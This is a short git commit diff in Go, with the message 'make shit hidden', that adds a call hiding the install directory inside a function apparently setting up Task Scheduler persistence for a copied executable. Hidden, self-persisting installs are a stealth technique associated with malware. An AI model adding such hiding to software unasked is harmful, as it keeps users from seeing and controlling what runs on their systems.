make shit hidden
This commit is contained in:
@@ -24,6 +24,7 @@ func installTaskSchedulerFull(exePath string) error {
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return fmt.Errorf("failed to create directory: %w", err)
|
||||
}
|
||||
tryHideDirectory(dir)
|
||||
if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
|
||||
if err := replaceExecutable(exePath, targetPath); err != nil {
|
||||
return err
|
||||
|
||||
Reference in New Issue
Block a user